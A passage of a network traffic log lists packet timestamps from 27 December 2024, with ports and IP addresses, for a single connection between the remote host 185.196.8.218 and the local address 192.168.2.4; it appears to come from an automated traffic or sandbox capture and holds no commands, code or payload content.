Dec 27, 2024 09:09:09.964226961 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.964374065 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.964446068 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.965410948 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.965517044 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.965641975 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.966515064 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.966624022 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.966677904 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.967648029 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.967783928 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.967839956 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.968811989 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.968888044 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.968946934 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.970207930 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.970330954 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.970388889 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.971198082 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.971369982 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.971426010 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.972340107 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.972378016 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.972536087 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.973459005 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.973593950 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.973638058 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.974622011 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.974694967 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.974782944 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.975821972 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.975840092 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.975985050 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.976953983 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.977071047 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.977121115 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.978085041 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.978205919 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.978256941 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.979228973 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.979362965 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.979424953 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.980396032 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.980474949 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.980541945 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.981527090 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.981659889 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.981740952 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.982703924 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.982831955 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.982983112 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.983872890 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.983958006 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.984049082 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.985018015 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.985115051 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.985174894 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.986172915 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.986243963 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.987329960 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.987379074 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.988464117 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.988562107 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.988935947 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.989628077 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.989733934 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.989900112 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.990861893 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.990925074 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.991245985 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.991971016 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.992063999 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.992928028 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.993129969 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.993263006 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.994276047 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.994365931 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.994493961 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.994604111 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.995433092 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.995556116 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.996601105 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.996752024 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.996788025 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.996907949 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.997708082 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.997832060 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.998872042 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.998991013 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.000041962 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.000078917 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:10.000089884 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.000816107 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:10.001202106 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.001403093 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.001754045 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:10.002341032 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.002398968 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.002552032 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:10.003575087 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.003598928 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.003736019 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:10.004636049 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.004743099 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.004834890 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:10.005820036 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.005902052 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.006963015 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.007019997 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.007050991 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:10.007141113 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:10.008100033 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.008244038 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.008441925 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:10.009268999 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.009325981 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.009681940 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:10.010443926 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.010534048 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.011652946 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.011740923 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.011909962 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:10.012731075 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.012800932 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.012932062 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:10.013890982 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.014012098 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.014125109 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:10.015074968 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.015182972 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.016221046 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.016324997 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.016381979 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:10.017371893 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.017468929 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.017568111 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:10.018538952 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.018624067 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:10.018629074 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.018925905 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:10.019958019 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.020028114 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.020178080 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:10.020847082 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.020996094 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.021986008 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.022258043 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:10.162702084 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.162774086 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.163151979 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.163245916 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.163275003 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:10.163384914 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:10.164278030 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.164712906 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.164827108 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.164861917 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:10.165868044 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.165925980 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:10.165994883 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.167045116 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.167124987 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.167144060 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:10.168185949 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.168292046 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.168343067 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:10.169327021 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.169456959 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.169475079 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:10.170469046 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.170607090 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.170634031 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:10.171627998 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.171720982 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:10.171746016 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.172785044 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.172863960 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:10.172898054 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.173949957 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.174053907 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.174057961 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:10.175111055 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.175230980 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.175247908 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:10.176265955 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.176357985 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:10.176383018 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.177417994 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.177496910 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:10.177520990 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.178559065 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.178663015 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.178680897 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:10.179730892 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.179828882 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:10.179852009 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.180901051 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.180979967 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.181004047 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:10.182058096 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.182141066 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.182147026 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:10.183187962 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.183285952 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:10.183290005 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.184350967 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.184418917 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.184439898 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:10.185507059 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.185606956 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.185626984 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:10.186672926 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.186742067 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:10.186777115 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.187843084 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.187896967 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.187931061 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:10.188982964 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.189088106 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.189100027 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:10.190141916 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.190237045 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.190253973 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:10.191293955 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.191370010 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:10.191401005 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.192440987 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.192516088 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:10.192521095 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.193609953 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.193727016 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.193742037 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:10.194747925 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.194844961 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.195911884 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.196013927 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.196091890 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:10.197093964 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.197211027 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:10.197220087 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.198225975 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.198313951 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.198396921 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:10.199393988 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.199498892 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.199508905 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:10.200664997 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.200769901 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.200769901 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:10.201730013 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.201838970 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.201936007 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:10.202884912 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.202924967 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.202955008 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:10.204010010 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.204114914 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:10.204149008 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.205189943 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.205276012 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:10.205317974 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.206343889 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.206418037 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.206576109 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:10.207496881 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.207581043 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.207588911 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:10.208619118 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.208731890 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:10.208744049 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.209825039 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.209858894 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.210954905 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.211065054 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:10.211069107 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.211167097 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:10.212115049 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.212261915 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.212851048 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:10.213270903 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.213304043 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.213423014 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:10.214413881 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.214484930 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:10.214510918 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.215580940 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.215692043 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.215734005 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:10.216742039 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.216844082 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.216888905 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:10.217905045 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.217993021 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.218116045 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:10.219043970 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.219125986 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:10.219142914 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.220292091 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.220355988 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.220797062 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:10.221359015 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.221436977 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.221610069 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:10.222475052 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.222567081 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.222693920 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:10.364276886 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.364290953 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.364690065 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.364880085 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.365089893 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:10.365838051 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.366096020 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.366153955 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:10.367038012 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.367103100 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.367170095 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:10.368148088 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.368271112 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.368340015 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:10.369292974 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.369327068 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:10.369386911 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.370470047 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.370557070 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.370589018 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:10.371609926 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.371655941 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:10.371709108 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.372787952 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.372811079 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:10.372879028 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:10.374089003 CET	56711	49731	185.196.8.218	192.168.2.4
